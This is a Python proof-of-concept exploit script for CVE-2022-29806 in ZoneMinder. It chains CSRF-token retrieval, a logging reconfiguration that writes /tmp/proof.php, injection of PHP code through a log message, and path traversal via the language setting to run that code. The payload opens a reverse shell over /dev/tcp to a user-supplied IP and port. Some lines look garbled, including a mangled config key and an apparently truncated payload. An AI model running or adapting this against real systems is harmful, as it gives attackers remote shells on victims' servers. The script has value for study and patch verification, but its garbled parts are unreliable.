import re import requests from bs4 import BeautifulSoup import argparse # POC for CVE-2022-29806 # Source: krastanoel # Publication: https://krastanoel.com/cve/2022-29806 # Body inspired from POC for CVE-2023-26035: https://github.com/rvizx/CVE-2023-26035 # # If the exploit was incomplete the app won't be able accesible! # That is because the app will try to log all events. # The log file not being fully set up that will trigger an error. # The app won't be able to log that error. Crashing it. # # If you ever have issues with script execution and # know the version is vulnerable, check krastanoel's # blog publication. Steps are not that hard. # # PS: # This is just an automation script. # I don't claim ownership over anything. class ZoneMinderExploit: def __init__(self, target_uri): self.target_uri = target_uri self.csrf_magic = None response_test = requests.get(f"{self.target_uri}/index.php") if response_test.status_code != 200: print("[!] Unable to reach target. Veify URL (Do not include index.php in the URL parameter). Stopping for now") exit() def fetch_csrf_token(self): print("[>] fetching csrf token") response = requests.get(self.target_uri) self.csrf_magic = self.get_csrf_magic(response) if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic): print(f"[>] recieved the token: {self.csrf_magic}") return True print("[!] unable to fetch or parse token.") return False def get_csrf_magic(self, response): magic_csrf_token = None try: magic_csrf_token = BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None) except: try: magic_csrf_token = str(BeautifulSoup(response.text, 'html.parser').find_all('script')[18]).split('"')[3] except Exception: print("[!] Unable to fetch the 'magic CSRF' token.") print("-- Check if the URL is correct!") print("-- Otherwise you might need to edit the POC.") print("-- If the payload was malformed you won't be able to access the application") exit() return magic_csrf_token def execute_command(self, payload): print("[>] STEP 1 - Activating the dashboard..") data = { 'view': 'privacy', 'action': 'privacy', 'option': f'0', '__csrf_magic': self.csrf_magic } response_dashboard = requests.post(f"{self.target_uri}/index.php", data=data) if response_dashboard.status_code != 200: print("[!] Failed to activate the dashboard. Continuing for now - Might be an issue!") print("[>] STEP 2 - Sending new logging configuration") data = { '__csrf_magic': self.csrf_magic, 'view': 'options', 'tab': 'logging', 'action': 'options', 'newConfig[ZM_LOG_LEVEL_SYSLOG]': '0', 'newConfig[ZM_LOG_LEVEL_FILE]': '1', 'newConfig[ZM_LOG_LEVEL_WEBLOG]': '-5', 'newConfig[ZM_LOG_LEVEL_DATABASE]': '0', 'newConfig[ZM_LOG_DATABASE_LIMIT]': '7 day', 'newConfig[ZM_LOG_FFMPEG]': '1', 'newConfig[ZM_LOG_DEBUG]': '1', 'newCon/usr/bin/zmdc.plfig[ZM_LOG_DEBUG_TARGET]': '', 'newConfig[ZM_LOG_DEBUG_LEVEL]': '1', 'newConfig[ZM_LOG_DEBUG_FILE]': '/tmp/proof.php', 'newConfig[ZM_LOG_CHECK_PERIOD]': '900', 'newConfig[ZM_LOG_ALERT_WAR_COUNT]': '1', 'newConfig[ZM_LOG_ALERT_ERR_COUNT]': '1', 'newConfig[ZM_LOG_ALERT_FAT_COUNT]': '0', 'newConfig[ZM_LOG_ALARM_WAR_COUNT]': '100', 'newConfig[ZM_LOG_ALARM_ERR_COUNT]': '10', 'newConfig[ZM_LOG_ALARM_FAT_COUNT]': '1', 'newConfig[ZM_RECORD_EVENT_STATS]': '1' } response_config = requests.post(f"{self.target_uri}/index.php", data=data) if response_config.status_code != 200: print("[!] Something went wrong while updating the log configuration. Stopping for now.") print("\tCheck fields in the 'response_config' variable match the application or if the dashboard is enabled.") exit() print("[>] STEP 3 - Sending payload") data = { '__csrf_magic': self.csrf_magic, 'view': 'request', 'request': 'log', 'task': 'create', 'level': 'ERR', 'message': payload, 'file': '/tmp/proof.php' } response_payload = requests.post(f"{self.target_uri}/index.php", data=data) if response_payload.status_code != 200: print("[!] Something went wrong sending the payload. Stopping for now.") print("\tDouble check if previous steps worked. Log options should point to /tmp/proof.php.") exit() print("[>] STEP 4 - Triggering payload") data = { '__csrf_magic': self.csrf_magic, 'view': 'options', 'tab': 'system', 'action': 'options', 'newConfig[ZM_LANG_DEFAULT]': '../../../../../tmp/proof' } try: response_include = requests.post(f"{self.target_uri}/index.php", data=data) except requests.exceptions.Timeout: print("[>] Exploit triggered. Reload index.php if needed on your browser.") print("\tIf the payload was broke/malformed you'll ned to restart the server. CF. Comment on line 12") print("[>] STEP 5 - BONUS - Ensuring trigger.") response_payload = requests.get(f"{self.target_uri}/index.php") return print("[!] Failed to execute? If you don't get execution at this point it's possible that:") print("\tApplication is executing on context of user with limited rights on server.") print("\tApplication might not vulnerable despite version") exit() def exploit(self, payload): if self.fetch_csrf_token(): print(f"[>] executing...") self.execute_command(payload) exit() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-t', '--target-url', required=True, help='target url endpoint/webroot') parser.add_argument('-ip', '--local-ip', required=True, help='local ip') parser.add_argument('-p', '--port', required=True, help='port') args = parser.parse_args() payload = f'& /dev/tcp/{args.local_ip}/{args.port} 0>&1\'");?>' ZoneMinderExploit(args.target_url).exploit(payload)